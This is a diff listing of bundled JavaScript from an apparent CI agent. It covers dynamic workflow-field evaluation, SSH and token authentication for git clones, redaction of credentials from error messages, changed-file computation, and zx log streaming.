491
|
+
*
|
|
492
|
+
* @param workflow - The extracted Workflow object
|
|
493
|
+
* @param jobName - Name of the job whose dynamic fields to evaluate
|
|
494
|
+
* @param event - Normalized event envelope — same shape every dynamic-function call site receives.
|
|
495
|
+
* @param flags - Which fields are dynamic and need evaluation
|
|
496
|
+
* @param timeoutMs - Timeout per dynamic function call (default 60_000ms)
|
|
497
|
+
* @param filterInput - Source tree + diff the workflow's `filter` reads. Required when `flags.hasFilter`.
|
|
498
|
+
*/
|
|
499
|
+
async function evaluateDynamicFields(workflow, jobName, event, flags, timeoutMs = 6e4, filterInput) {
|
|
500
|
+
const result = {};
|
|
501
|
+
if (flags.hasFilter) {
|
|
502
|
+
result.filterPassed = await evaluateWorkflowFilter(workflow, event, filterInput, timeoutMs);
|
|
503
|
+
if (!result.filterPassed) return result;
|
|
504
|
+
}
|
|
505
|
+
const job = findJobByName(workflow, jobName);
|
|
506
|
+
if (flags.dynamicMatrix && typeof job.matrix === "function") {
|
|
507
|
+
const matrixContext = {
|
|
508
|
+
$: (await import("zx")).$,
|
|
509
|
+
ctx: {
|
|
510
|
+
workflow: { name: workflow.name },
|
|
511
|
+
job: {
|
|
512
|
+
name: jobName,
|
|
513
|
+
runsOn: job.runsOn
|
|
514
|
+
}
|
|
515
|
+
},
|
|
516
|
+
log: {
|
|
517
|
+
info: () => {},
|
|
518
|
+
warn: () => {},
|
|
519
|
+
error: () => {},
|
|
520
|
+
debug: () => {}
|
|
521
|
+
},
|
|
522
|
+
env: { ...process.env }
|
|
523
|
+
};
|
|
524
|
+
const resolved = await withTimeout(() => job.matrix(matrixContext), timeoutMs, `dynamicMatrix for job '${jobName}'`);
|
|
525
|
+
let combos;
|
|
526
|
+
try {
|
|
527
|
+
const rawCount = matrixCombinationCount(resolved);
|
|
528
|
+
if (rawCount > MAX_MATRIX_MATERIALIZATION) throw new MatrixShapeError(`matrix is too large to expand: ${rawCount} raw combinations (max ${MAX_MATRIX_MATERIALIZATION})`);
|
|
529
|
+
combos = expandMatrix(resolved);
|
|
530
|
+
} catch (err) {
|
|
531
|
+
if (err instanceof MatrixShapeError) throw new MatrixShapeError(`dynamicMatrix for job '${jobName}': ${err.message}`);
|
|
532
|
+
throw err;
|
|
533
|
+
}
|
|
534
|
+
if (job.include || job.exclude) combos = applyIncludeExclude(combos, job.include, job.exclude);
|
|
535
|
+
result.matrixValues = combos;
|
|
536
|
+
}
|
|
537
|
+
if (flags.dynamicContext) {
|
|
538
|
+
const envRefs = job.contexts ?? (job.context !== void 0 ? [job.context] : void 0);
|
|
539
|
+
if (envRefs && envRefs.length > 0) {
|
|
540
|
+
const names = [];
|
|
541
|
+
for (const ref of envRefs) if (typeof ref === "function") {
|
|
542
|
+
const value = await withTimeout(() => ref(event), timeoutMs, `dynamicContext for job '${jobName}'`);
|
|
543
|
+
if (value !== void 0 && value !== null) names.push(value);
|
|
544
|
+
} else if (typeof ref === "string") names.push(ref);
|
|
545
|
+
if (names.length > 0) result.contextNames = names;
|
|
546
|
+
}
|
|
547
|
+
}
|
|
548
|
+
if (flags.dynamicEnv && typeof job.env === "function") {
|
|
549
|
+
const value = await withTimeout(() => job.env(event), timeoutMs, `dynamicEnv for job '${jobName}'`);
|
|
550
|
+
if (value !== void 0 && value !== null) result.env = value;
|
|
551
|
+
}
|
|
552
|
+
if (flags.dynamicConcurrencyGroup && typeof job.concurrencyGroup === "function") {
|
|
553
|
+
const value = await withTimeout(() => job.concurrencyGroup(event), timeoutMs, `dynamicConcurrencyGroup for job '${jobName}'`);
|
|
554
|
+
if (value !== void 0 && value !== null) result.concurrencyGroup = value;
|
|
555
|
+
}
|
|
556
|
+
return result;
|
|
557
|
+
}
|
|
558
|
+
//#endregion
|
|
559
|
+
//#region src/checkout/ssh-auth.ts
|
|
560
|
+
/**
|
|
561
|
+
* Materialize an SSH private key (and optional pinned known_hosts) into a
|
|
562
|
+
* tempdir and build the `GIT_SSH_COMMAND` that `git clone` needs.
|
|
563
|
+
*
|
|
564
|
+
* Permissions:
|
|
565
|
+
* - private key mode 0o600 (required by OpenSSH — refuses to use world-
|
|
566
|
+
* readable keys).
|
|
567
|
+
* - known_hosts mode 0o600.
|
|
568
|
+
* - tempdir mode 0o700.
|
|
569
|
+
*
|
|
570
|
+
* SSH flags composed:
|
|
571
|
+
* - `-i <keyfile>` — identity file.
|
|
572
|
+
* - `-o IdentitiesOnly=yes` — don't try other keys from ssh-agent / ~/.ssh.
|
|
573
|
+
* - `-o BatchMode=yes` — never prompt for passwords / passphrases.
|
|
574
|
+
* - host-key checking flags based on `hostKeyPolicy`.
|
|
575
|
+
*/
|
|
576
|
+
async function setupSshAuth(opts) {
|
|
577
|
+
if (opts.hostKeyPolicy === "pinned" && !opts.knownHosts) throw new Error("pinned hostKeyPolicy requires knownHosts content");
|
|
578
|
+
const { path: tempDir, cleanup } = await makeTempDir("ssh");
|
|
579
|
+
const keyPath = join(tempDir, "id");
|
|
580
|
+
const pem = opts.privateKey.endsWith("\n") ? opts.privateKey : `${opts.privateKey}\n`;
|
|
581
|
+
await writeFile(keyPath, pem, { mode: 384 });
|
|
582
|
+
const knownHostsPath = join(tempDir, "known_hosts");
|
|
583
|
+
const knownHostsBody = opts.hostKeyPolicy === "pinned" ? opts.knownHosts : "";
|
|
584
|
+
await writeFile(knownHostsPath, knownHostsBody, { mode: 384 });
|
|
585
|
+
const parts = [
|
|
586
|
+
"ssh",
|
|
587
|
+
"-i",
|
|
588
|
+
escapeShellArg(keyPath),
|
|
589
|
+
"-o",
|
|
590
|
+
"IdentitiesOnly=yes",
|
|
591
|
+
"-o",
|
|
592
|
+
"BatchMode=yes",
|
|
593
|
+
"-o",
|
|
594
|
+
`UserKnownHostsFile=${escapeShellArg(knownHostsPath)}`
|
|
595
|
+
];
|
|
596
|
+
if (opts.hostKeyPolicy === "pinned") parts.push("-o", "StrictHostKeyChecking=yes");
|
|
597
|
+
else parts.push("-o", "StrictHostKeyChecking=accept-new");
|
|
598
|
+
return {
|
|
599
|
+
gitSshCommand: parts.join(" "),
|
|
600
|
+
tempDir,
|
|
601
|
+
cleanup
|
|
602
|
+
};
|
|
603
|
+
}
|
|
604
|
+
/**
|
|
605
|
+
* Quote a path for inclusion in `GIT_SSH_COMMAND`. We use single-quote
|
|
606
|
+
* wrapping so backslashes and spaces survive git's shell-parse of the
|
|
607
|
+
* command value.
|
|
608
|
+
*/
|
|
609
|
+
function escapeShellArg(value) {
|
|
610
|
+
return `'${value.replace(/'/g, "'\\''")}'`;
|
|
611
|
+
}
|
|
612
|
+
//#endregion
|
|
613
|
+
//#region src/checkout/git-clone.ts
|
|
614
|
+
/**
|
|
615
|
+
* Point a clone at the agent's credential helper.
|
|
616
|
+
*
|
|
617
|
+
* Only the helper PATH is written — never a secret — which is what makes it
|
|
618
|
+
* safe to persist in `.git/config`. `useHttpPath` makes git include
|
|
619
|
+
* `path=owner/repo.git` in every credential query, without which the helper
|
|
620
|
+
* could not tell one repository from another and a write grant could not be
|
|
621
|
+
* confined to its own repo.
|
|
622
|
+
*/
|
|
623
|
+
function configureCredentialHelper(workDir, helperPath) {
|
|
624
|
+
execFileSync("git", [
|
|
625
|
+
"-C",
|
|
626
|
+
workDir,
|
|
627
|
+
"config",
|
|
628
|
+
"credential.helper",
|
|
629
|
+
helperPath
|
|
630
|
+
], {
|
|
631
|
+
stdio: "pipe",
|
|
632
|
+
timeout: 1e4
|
|
633
|
+
});
|
|
634
|
+
execFileSync("git", [
|
|
635
|
+
"-C",
|
|
636
|
+
workDir,
|
|
637
|
+
"config",
|
|
638
|
+
"credential.useHttpPath",
|
|
639
|
+
"true"
|
|
640
|
+
], {
|
|
641
|
+
stdio: "pipe",
|
|
642
|
+
timeout: 1e4
|
|
643
|
+
});
|
|
644
|
+
}
|
|
645
|
+
/**
|
|
646
|
+
* Strip auth credentials from git error messages to prevent token leakage.
|
|
647
|
+
* Node's execFileSync includes the full command line (including -c http.extraHeader
|
|
648
|
+
* and GIT_SSH_COMMAND flags) in error messages, which would expose Base64-encoded
|
|
649
|
+
* tokens or the absolute path of a temporary SSH key file in logs.
|
|
650
|
+
*/
|
|
651
|
+
function sanitizeGitError(error) {
|
|
652
|
+
if (!(error instanceof Error)) return new Error(String(error));
|
|
653
|
+
const sanitized = new Error(redactSensitive(error.message));
|
|
654
|
+
sanitized.stack = error.stack ? redactSensitive(error.stack) : void 0;
|
|
655
|
+
return sanitized;
|
|
656
|
+
}
|
|
657
|
+
function redactSensitive(input) {
|
|
658
|
+
return input.replace(/http\.extraHeader=Authorization: Basic \S+/g, "http.extraHeader=Authorization: Basic [REDACTED]").replace(/'[^']*kici-ssh-[^']*'/g, "'[REDACTED_SSH_PATH]'").replace(/\S*kici-ssh-\S+/g, "[REDACTED_SSH_PATH]");
|
|
659
|
+
}
|
|
660
|
+
/**
|
|
661
|
+
* Shallow-clone a git repository at a specific ref with optional token auth.
|
|
662
|
+
*
|
|
663
|
+
* Token authentication uses git's `-c http.extraHeader` mechanism which keeps
|
|
664
|
+
* the token out of the clone URL (not visible in `git remote -v` or logs).
|
|
665
|
+
*
|
|
666
|
+
* After clone, verifies that HEAD matches the expected SHA to prevent
|
|
667
|
+
* wrong-ref execution.
|
|
668
|
+
*
|
|
669
|
+
* @throws Error if clone fails or SHA does not match
|
|
670
|
+
*/
|
|
671
|
+
async function gitClone(options) {
|
|
672
|
+
const { repoUrl, ref, sha, workDir, token, gitAuth, depth = 1, credentialHelperPath, sshCleanupRegistry } = options;
|
|
673
|
+
const auth = gitAuth ? gitAuth : token ? {
|
|
674
|
+
kind: "basic",
|
|
675
|
+
user: "x-access-token",
|
|
676
|
+
secret: token
|
|
677
|
+
} : void 0;
|
|
678
|
+
const args = [];
|
|
679
|
+
const envEntries = {};
|
|
680
|
+
let needsCustomEnv = false;
|
|
681
|
+
let safeDirCleanup;
|
|
682
|
+
if (repoUrl.startsWith("file://")) {
|
|
683
|
+
const { writeFile } = await import("node:fs/promises");
|
|
684
|
+
const path = await import("node:path");
|
|
685
|
+
const { makeTempDir } = await import("@kici-dev/core/tmp");
|
|
686
|
+
const { path: dir, cleanup } = await makeTempDir("gitcfg");
|
|
687
|
+
const cfgPath = path.join(dir, "config");
|
|
688
|
+
await writeFile(cfgPath, "[safe]\n directory = *\n", { mode: 384 });
|
|
689
|
+
envEntries.GIT_CONFIG_GLOBAL = cfgPath;
|
|
690
|
+
needsCustomEnv = true;
|
|
691
|
+
safeDirCleanup = async () => {
|
|
692
|
+
await cleanup().catch(() => {});
|
|
693
|
+
};
|
|
694
|
+
}
|
|
695
|
+
let sshSetup;
|
|
696
|
+
try {
|
|
697
|
+
if (auth?.kind === "basic") {
|
|
698
|
+
const user = auth.user ?? "x-access-token";
|
|
699
|
+
const basic = Buffer.from(`${user}:${auth.secret}`).toString("base64");
|
|
700
|
+
args.push("-c", `http.extraHeader=Authorization: Basic ${basic}`);
|
|
701
|
+
} else if (auth?.kind === "ssh") {
|
|
702
|
+
sshSetup = await setupSshAuth({
|
|
703
|
+
privateKey: auth.secret,
|
|
704
|
+
hostKeyPolicy: auth.sshHostKeyPolicy,
|
|
705
|
+
knownHosts: auth.sshKnownHostsPem
|
|
706
|
+
});
|
|
707
|
+
envEntries.GIT_SSH_COMMAND = sshSetup.gitSshCommand;
|
|
708
|
+
needsCustomEnv = true;
|
|
709
|
+
}
|
|
710
|
+
const env = needsCustomEnv ? {
|
|
711
|
+
...process.env,
|
|
712
|
+
...envEntries
|
|
713
|
+
} : void 0;
|
|
714
|
+
if (ref) args.push("clone", "--depth", String(depth), "--branch", ref, repoUrl, workDir);
|
|
715
|
+
else args.push("clone", "--depth", String(depth), repoUrl, workDir);
|
|
716
|
+
const { execFileSync } = await import("node:child_process");
|
|
717
|
+
try {
|
|
718
|
+
execFileSync("git", args, {
|
|
719
|
+
stdio: "pipe",
|
|
720
|
+
timeout: 12e4,
|
|
721
|
+
...env && { env }
|
|
722
|
+
});
|
|
723
|
+
} catch (err) {
|
|
724
|
+
throw sanitizeGitError(err);
|
|
725
|
+
}
|
|
726
|
+
if (credentialHelperPath) configureCredentialHelper(workDir, credentialHelperPath);
|
|
727
|
+
if (!sha || sha === "HEAD") return;
|
|
728
|
+
const envOpts = env ? { env } : {};
|
|
729
|
+
if (!execFileSync("git", [
|
|
730
|
+
"-C",
|
|
731
|
+
workDir,
|
|
732
|
+
"rev-parse",
|
|
733
|
+
"HEAD"
|
|
734
|
+
], {
|
|
735
|
+
encoding: "utf-8",
|
|
736
|
+
timeout: 1e4,
|
|
737
|
+
...envOpts
|
|
738
|
+
}).trim().startsWith(sha)) {
|
|
739
|
+
const fetchArgs = [];
|
|
740
|
+
if (auth?.kind === "basic") {
|
|
741
|
+
const user = auth.user ?? "x-access-token";
|
|
742
|
+
const basic = Buffer.from(`${user}:${auth.secret}`).toString("base64");
|
|
743
|
+
fetchArgs.push("-c", `http.extraHeader=Authorization: Basic ${basic}`);
|
|
744
|
+
}
|
|
745
|
+
fetchArgs.push("fetch", "--depth", "50", "origin", sha);
|
|
746
|
+
try {
|
|
747
|
+
execFileSync("git", [
|
|
748
|
+
"-C",
|
|
749
|
+
workDir,
|
|
750
|
+
...fetchArgs
|
|
751
|
+
], {
|
|
752
|
+
stdio: "pipe",
|
|
753
|
+
timeout: 12e4,
|
|
754
|
+
...envOpts
|
|
755
|
+
});
|
|
756
|
+
} catch (err) {
|
|
757
|
+
throw sanitizeGitError(err);
|
|
758
|
+
}
|
|
759
|
+
execFileSync("git", [
|
|
760
|
+
"-C",
|
|
761
|
+
workDir,
|
|
762
|
+
"checkout",
|
|
763
|
+
sha
|
|
764
|
+
], {
|
|
765
|
+
stdio: "pipe",
|
|
766
|
+
timeout: 3e4,
|
|
767
|
+
...envOpts
|
|
768
|
+
});
|
|
769
|
+
const recheckedSha = execFileSync("git", [
|
|
770
|
+
"-C",
|
|
771
|
+
workDir,
|
|
772
|
+
"rev-parse",
|
|
773
|
+
"HEAD"
|
|
774
|
+
], {
|
|
775
|
+
encoding: "utf-8",
|
|
776
|
+
timeout: 1e4,
|
|
777
|
+
...envOpts
|
|
778
|
+
}).trim();
|
|
779
|
+
if (!recheckedSha.startsWith(sha)) throw new Error(`SHA mismatch: expected ${sha}, got ${recheckedSha}`);
|
|
780
|
+
}
|
|
781
|
+
} finally {
|
|
782
|
+
if (sshSetup) {
|
|
783
|
+
if (sshCleanupRegistry) {
|
|
784
|
+
const setup = sshSetup;
|
|
785
|
+
sshCleanupRegistry.defer(() => setup.cleanup().catch(() => {}));
|
|
786
|
+
} else await sshSetup.cleanup().catch(() => {});
|
|
787
|
+
}
|
|
788
|
+
if (safeDirCleanup) await safeDirCleanup();
|
|
789
|
+
}
|
|
790
|
+
}
|
|
791
|
+
//#endregion
|
|
792
|
+
//#region src/checkout/changed-files.ts
|
|
793
|
+
const EMPTY_TREE_SHA = "4b825dc642cb6eb9a060e54bf8d69288fbee4904";
|
|
794
|
+
const ZERO_SHA = /^0+$/;
|
|
795
|
+
const MAX_DEEPEN = 4;
|
|
796
|
+
const DEEPEN_STEP = 50;
|
|
797
|
+
const BASE_GIT_ARGS = [
|
|
798
|
+
"-c",
|
|
799
|
+
"safe.directory=*",
|
|
800
|
+
"-c",
|
|
801
|
+
"core.quotePath=false"
|
|
802
|
+
];
|
|
803
|
+
/** Build the auth context for the fetches, mirroring git-clone.ts's auth. */
|
|
804
|
+
async function buildAuthCtx(auth) {
|
|
805
|
+
if (!auth) return { args: [] };
|
|
806
|
+
if (auth.kind === "basic") {
|
|
807
|
+
const user = auth.user ?? "x-access-token";
|
|
808
|
+
return { args: ["-c", `http.extraHeader=Authorization: Basic ${Buffer.from(`${user}:${auth.secret}`).toString("base64")}`] };
|
|
809
|
+
}
|
|
810
|
+
const sshSetup = await setupSshAuth({
|
|
811
|
+
privateKey: auth.secret,
|
|
812
|
+
hostKeyPolicy: auth.sshHostKeyPolicy,
|
|
813
|
+
knownHosts: auth.sshKnownHostsPem
|
|
814
|
+
});
|
|
815
|
+
return {
|
|
816
|
+
args: [],
|
|
817
|
+
env: { GIT_SSH_COMMAND: sshSetup.gitSshCommand },
|
|
818
|
+
cleanup: () => sshSetup.cleanup()
|
|
819
|
+
};
|
|
820
|
+
}
|
|
821
|
+
function git(workDir, args, ctx) {
|
|
822
|
+
return execFileSync("git", [
|
|
823
|
+
...ctx.args,
|
|
824
|
+
...BASE_GIT_ARGS,
|
|
825
|
+
"-C",
|
|
826
|
+
workDir,
|
|
827
|
+
...args
|
|
828
|
+
], {
|
|
829
|
+
encoding: "utf8",
|
|
830
|
+
stdio: [
|
|
831
|
+
"ignore",
|
|
832
|
+
"pipe",
|
|
833
|
+
"pipe"
|
|
834
|
+
],
|
|
835
|
+
...ctx.env && { env: {
|
|
836
|
+
...process.env,
|
|
837
|
+
...ctx.env
|
|
838
|
+
} }
|
|
839
|
+
});
|
|
840
|
+
}
|
|
841
|
+
function tryGit(workDir, args, ctx) {
|
|
842
|
+
try {
|
|
843
|
+
git(workDir, args, ctx);
|
|
844
|
+
return true;
|
|
845
|
+
} catch {
|
|
846
|
+
return false;
|
|
847
|
+
}
|
|
848
|
+
}
|
|
849
|
+
function parseNameOnly(out) {
|
|
850
|
+
return out.split("\n").map((s) => s.replace(/\r$/, "")).filter((s) => s.length > 0);
|
|
851
|
+
}
|
|
852
|
+
/** Ensure `commitish` exists locally; fetch / deepen (bounded) if not. */
|
|
853
|
+
function ensureCommit(workDir, commitish, ctx) {
|
|
854
|
+
if (tryGit(workDir, [
|
|
855
|
+
"cat-file",
|
|
856
|
+
"-e",
|
|
857
|
+
`${commitish}^{commit}`
|
|
858
|
+
], ctx)) return true;
|
|
859
|
+
if (tryGit(workDir, [
|
|
860
|
+
"fetch",
|
|
861
|
+
"--depth",
|
|
862
|
+
"1",
|
|
863
|
+
"origin",
|
|
864
|
+
commitish
|
|
865
|
+
], ctx)) {
|
|
866
|
+
if (tryGit(workDir, [
|
|
867
|
+
"cat-file",
|
|
868
|
+
"-e",
|
|
869
|
+
`${commitish}^{commit}`
|
|
870
|
+
], ctx)) return true;
|
|
871
|
+
}
|
|
872
|
+
for (let i = 0; i < MAX_DEEPEN; i++) {
|
|
873
|
+
if (!tryGit(workDir, [
|
|
874
|
+
"fetch",
|
|
875
|
+
`--deepen=${DEEPEN_STEP}`,
|
|
876
|
+
"origin"
|
|
877
|
+
], ctx)) break;
|
|
878
|
+
if (tryGit(workDir, [
|
|
879
|
+
"cat-file",
|
|
880
|
+
"-e",
|
|
881
|
+
`${commitish}^{commit}`
|
|
882
|
+
], ctx)) return true;
|
|
883
|
+
}
|
|
884
|
+
return false;
|
|
885
|
+
}
|
|
886
|
+
function pushDiff(workDir, before, ctx) {
|
|
887
|
+
const isZero = !before || ZERO_SHA.test(before);
|
|
888
|
+
const baseRef = isZero ? EMPTY_TREE_SHA : before;
|
|
889
|
+
if (!isZero && !ensureCommit(workDir, before, ctx)) return {
|
|
890
|
+
files: [],
|
|
891
|
+
status: "unavailable"
|
|
892
|
+
};
|
|
893
|
+
return {
|
|
894
|
+
files: parseNameOnly(git(workDir, [
|
|
895
|
+
"diff",
|
|
896
|
+
"--name-only",
|
|
897
|
+
baseRef,
|
|
898
|
+
"HEAD"
|
|
899
|
+
], ctx)),
|
|
900
|
+
status: "fetched"
|
|
901
|
+
};
|
|
902
|
+
}
|
|
903
|
+
function prDiff(workDir, base, ctx) {
|
|
904
|
+
const candidates = [
|
|
905
|
+
base,
|
|
906
|
+
`origin/${base}`,
|
|
907
|
+
"FETCH_HEAD"
|
|
908
|
+
];
|
|
909
|
+
const resolveBase = () => candidates.find((c) => tryGit(workDir, [
|
|
910
|
+
"rev-parse",
|
|
911
|
+
"--verify",
|
|
912
|
+
`${c}^{commit}`
|
|
913
|
+
], ctx));
|
|
914
|
+
let baseRef = resolveBase();
|
|
915
|
+
if (!baseRef) {
|
|
916
|
+
if (!ensureCommit(workDir, base, ctx)) return {
|
|
917
|
+
files: [],
|
|
918
|
+
status: "unavailable"
|
|
919
|
+
};
|
|
920
|
+
baseRef = resolveBase();
|
|
921
|
+
}
|
|
922
|
+
if (!baseRef) return {
|
|
923
|
+
files: [],
|
|
924
|
+
status: "unavailable"
|
|
925
|
+
};
|
|
926
|
+
for (let i = 0; i <= MAX_DEEPEN; i++) {
|
|
927
|
+
if (tryGit(workDir, [
|
|
928
|
+
"merge-base",
|
|
929
|
+
baseRef,
|
|
930
|
+
"HEAD"
|
|
931
|
+
], ctx)) return {
|
|
932
|
+
files: parseNameOnly(git(workDir, [
|
|
933
|
+
"diff",
|
|
934
|
+
"--name-only",
|
|
935
|
+
`${baseRef}...HEAD`
|
|
936
|
+
], ctx)),
|
|
937
|
+
status: "fetched"
|
|
938
|
+
};
|
|
939
|
+
if (!tryGit(workDir, [
|
|
940
|
+
"fetch",
|
|
941
|
+
`--deepen=${DEEPEN_STEP}`,
|
|
942
|
+
"origin"
|
|
943
|
+
], ctx)) break;
|
|
944
|
+
}
|
|
945
|
+
return {
|
|
946
|
+
files: [],
|
|
947
|
+
status: "unavailable"
|
|
948
|
+
};
|
|
949
|
+
}
|
|
950
|
+
/**
|
|
951
|
+
* Compute the changed-files list from the agent's local clone (HEAD is the
|
|
952
|
+
* checked-out head commit). Ground truth for job/step rule evaluation. `auth`
|
|
953
|
+
* (the same credentials used for the clone) authenticates the deepen / fetch
|
|
954
|
+
* calls so a private remote resolves. Returns `unavailable` for diff-less
|
|
955
|
+
* events (schedule/tag/manual) or any git failure — never throws.
|
|
956
|
+
*/
|
|
957
|
+
async function computeChangedFiles(workDir, event, auth) {
|
|
958
|
+
let ctx;
|
|
959
|
+
try {
|
|
960
|
+
if (event.type !== "push" && event.type !== "pull_request") return {
|
|
961
|
+
files: [],
|
|
962
|
+
status: "unavailable"
|
|
963
|
+
};
|
|
964
|
+
ctx = await buildAuthCtx(auth);
|
|
965
|
+
if (event.type === "push") return pushDiff(workDir, event.payload?.before ?? "", ctx);
|
|
966
|
+
const base = event.baseBranch ?? event.targetBranch;
|
|
967
|
+
if (!base) return {
|
|
968
|
+
files: [],
|
|
969
|
+
status: "unavailable"
|
|
970
|
+
};
|
|
971
|
+
return prDiff(workDir, base, ctx);
|
|
972
|
+
} catch {
|
|
973
|
+
return {
|
|
974
|
+
files: [],
|
|
975
|
+
status: "unavailable"
|
|
976
|
+
};
|
|
977
|
+
} finally {
|
|
978
|
+
if (ctx?.cleanup) await ctx.cleanup().catch(() => {});
|
|
979
|
+
}
|
|
980
|
+
}
|
|
981
|
+
//#endregion
|
|
982
|
+
//#region src/execution/global-workflow-env.ts
|
|
983
|
+
/**
|
|
984
|
+
* Derive an `owner/repo` identifier from a clone URL, stripping the trailing
|
|
985
|
+
* `.git` and any `http(s)://host/` prefix.
|
|
986
|
+
*/
|
|
987
|
+
function repoIdentifierFromUrl(repoUrl) {
|
|
988
|
+
return repoUrl.replace(/\.git$/, "").replace(/^https?:\/\/[^/]+\//, "");
|
|
989
|
+
}
|
|
990
|
+
/** Every env key {@link applyGlobalWorkflowEnv} writes, in one place. */
|
|
991
|
+
const GLOBAL_WORKFLOW_ENV_KEYS = [
|
|
992
|
+
"KICI_IS_GLOBAL_WORKFLOW",
|
|
993
|
+
"KICI_WORKFLOW_REPO_PATH",
|
|
994
|
+
"KICI_SOURCE_REPO_PATH",
|
|
995
|
+
"KICI_SOURCE_REPO",
|
|
996
|
+
"KICI_SOURCE_BRANCH",
|
|
997
|
+
"KICI_SOURCE_SHA",
|
|
998
|
+
"KICI_WORKFLOW_REPO"
|
|
999
|
+
];
|
|
1000
|
+
/**
|
|
1001
|
+
* Inject the seven global-workflow env keys and return a restorer that puts
|
|
1002
|
+
* `process.env` back exactly as it was — each key reset to its prior value, or
|
|
1003
|
+
* deleted if it had none.
|
|
1004
|
+
*
|
|
1005
|
+
* **The restorer is mandatory for any caller in a long-lived process.** The
|
|
1006
|
+
* sandbox may ignore it: it runs one job per forked child, which exits. The
|
|
1007
|
+
* pre-dispatch global eval round may NOT: it runs in the agent process, which
|
|
1008
|
+
* serves many dispatches from one `JobRunner`. Leaving the keys set there is
|
|
1009
|
+
* this module's own hazard running backwards — a later NON-global
|
|
1010
|
+
* `DynamicJobFn` evaluation builds its generator context with
|
|
1011
|
+
* `env: process.env` still carrying `KICI_IS_GLOBAL_WORKFLOW=true` and a
|
|
1012
|
+
* `KICI_SOURCE_REPO_PATH` pointing at a deleted work directory, while that
|
|
1013
|
+
* job's own sandbox re-evaluation sees neither (`buildSanitizedEnv` scrubs the
|
|
1014
|
+
* whole `KICI_*` namespace on the trusted profile, and the default profile is
|
|
1015
|
+
* allowlist-only). That is the same two-worlds determinism failure, injected
|
|
1016
|
+
* into an unrelated job.
|
|
1017
|
+
*
|
|
1018
|
+
* `RepoInfo.ref` / `.sha` are optional, so an evaluation with no checkout
|
|
1019
|
+
* metadata writes an empty string rather than leaving the key unset — matching
|
|
1020
|
+
* how `KICI_WORKFLOW_REPO` already handles a missing identifier. Assigning
|
|
1021
|
+
* `undefined` to a `process.env` key would stringify to `"undefined"`, which is
|
|
1022
|
+
* worse than either.
|
|
1023
|
+
*/
|
|
1024
|
+
function applyGlobalWorkflowEnv(repos) {
|
|
1025
|
+
const prior = GLOBAL_WORKFLOW_ENV_KEYS.map((key) => [key, process.env[key]]);
|
|
1026
|
+
process.env.KICI_IS_GLOBAL_WORKFLOW = "true";
|
|
1027
|
+
process.env.KICI_WORKFLOW_REPO_PATH = repos.workflowRepo.path;
|
|
1028
|
+
process.env.KICI_SOURCE_REPO_PATH = repos.sourceRepo.path;
|
|
1029
|
+
process.env.KICI_SOURCE_REPO = repos.sourceRepo.identifier;
|
|
1030
|
+
process.env.KICI_SOURCE_BRANCH = repos.sourceRepo.ref ?? "";
|
|
1031
|
+
process.env.KICI_SOURCE_SHA = repos.sourceRepo.sha ?? "";
|
|
1032
|
+
process.env.KICI_WORKFLOW_REPO = repos.workflowRepo.identifier;
|
|
1033
|
+
return () => {
|
|
1034
|
+
for (const [key, value] of prior) if (value === void 0) delete process.env[key];
|
|
1035
|
+
else process.env[key] = value;
|
|
1036
|
+
};
|
|
1037
|
+
}
|
|
1038
|
+
//#endregion
|
|
1039
|
+
//#region src/execution/streaming-zx-log.ts
|
|
1040
|
+
/**
|
|
1041
|
+
* Shared factory for the zx `log` callback that streams a subprocess's
|
|
1042
|
+
* stdout/stderr into the captured/streamed run log, line by line, via `emit`.
|
|
1043
|
+
*
|
|
1044
|
+
* zx does NOT write child stdout/stderr to `process.stdout`; it pipes the
|
|
1045
|
+
* child stdio to an internal VoidStream and surfaces each chunk through the
|
|
1046
|
+
* shell's `log` callback as `{ kind: 'stdout' | 'stderr', data, verbose }`.
|
|
1047
|
+
* The `verbose` flag is zx's per-invocation quiet/verbose decision:
|
|
1048
|
+
*
|
|
1049
|
+
* - stdout entries: `verbose = !piped && (snapshot.verbose && !snapshot.quiet)`
|
|
1050
|
+
* - stderr entries: `verbose = !snapshot.quiet`
|
|
1051
|
+
*
|
|
1052
|
+
* so a step that opts into `$({ quiet: true })` (e.g. a `sops -d` decrypt of a
|
|
1053
|
+
* credential) produces `verbose: false` entries. This factory HONORS that flag
|
|
1054
|
+
* — it skips `verbose: false` entries — which is what makes `{ quiet: true }`
|
|
1055
|
+
* actually suppress sensitive output from the run log. Without the gate, a
|
|
1056
|
+
* decrypted-secret line leaks into the persisted/streamed log (zx's own default
|
|
1057
|
+
* log function gates on the same flag: `if (!entry.verbose) return`).
|
|
1058
|
+
*
|
|
1059
|
+
* IMPORTANT: the shell that installs this callback MUST be constructed with
|
|
1060
|
+
* `verbose: true`. With `verbose: true` zx flags ordinary (non-quiet)
|
|
1061
|
+
* subprocess output `verbose: true` (captured) and a `{ quiet: true }` call
|
|
1062
|
+
* `verbose: false` (suppressed). A `verbose: false` base would flag ordinary
|
|
1063
|
+
* output `verbose: false` too, and this gate would then drop every line.
|
|
1064
|
+
*
|
|
1065
|
+
* The returned callback owns one line buffer PER STREAM, so partial chunks are
|
|
1066
|
+
* coalesced into whole lines before `emit` is called. The buffers are separate
|
|
1067
|
+
* because the two streams are independent pipes: a stdout chunk ending mid-line
|
|
1068
|
+
* and a stderr chunk arriving next would otherwise concatenate into a single
|
|
1069
|
+
* spliced line attributed to whichever kind completed it.
|
|
1070
|
+
*
|
|
1071
|
+
* `emit` receives the originating stream alongside the line so a diagnostic
|
|
1072
|
+
* written to stderr stays distinguishable from ordinary progress output all the
|
|
1073
|
+
* way to the persisted run log.
|
|
1074
|
+
*/
|
|
1075
|
+
function makeStreamingZxLog(emit) {
|
|
1076
|
+
const lineBufs = {
|
|
1077
|
+
[LogStream.enum.stdout]: "",
|
|
1078
|
+
[LogStream.enum.stderr]: ""
|
|
1079
|
+
};
|
|
1080
|
+
return (entry) => {
|
|
1081
|
+
const e = entry;
|
|
1082
|
+
if (e.kind !== "stdout" && e.kind !== "stderr") return;
|
|
1083
|
+
if (!e.verbose) return;
|
|
1084
|
+
const stream = e.kind === "stderr" ? LogStream.enum.stderr : LogStream.enum.stdout;
|
|
1085
|
+
const text = typeof e.data === "string" ? e.data : String(e.data ?? "");
|
|
1086
|
+
const lines = (lineBufs[stream] + text).split("\n");
|
|
1087
|
+
lineBufs[stream] = lines.pop();
|
|
1088
|
+
for (const line of lines) if (line) emit(line, stream);
|
|
1089
|
+
};
|
|
1090
|
+
}
|
|
1091
|
+
/**
|
|
1092
|
+
* Build the source / workflow repo pair the round hands to every filter and
|
|
1093
|
+
* generator. Mirrors the sandbox's own `setupGlobalWorkflowEnv` construction so
|
|
1094
|
+
* a generator's two evaluations see the same identifiers, refs, and shas — only
|
|
1095
|
+
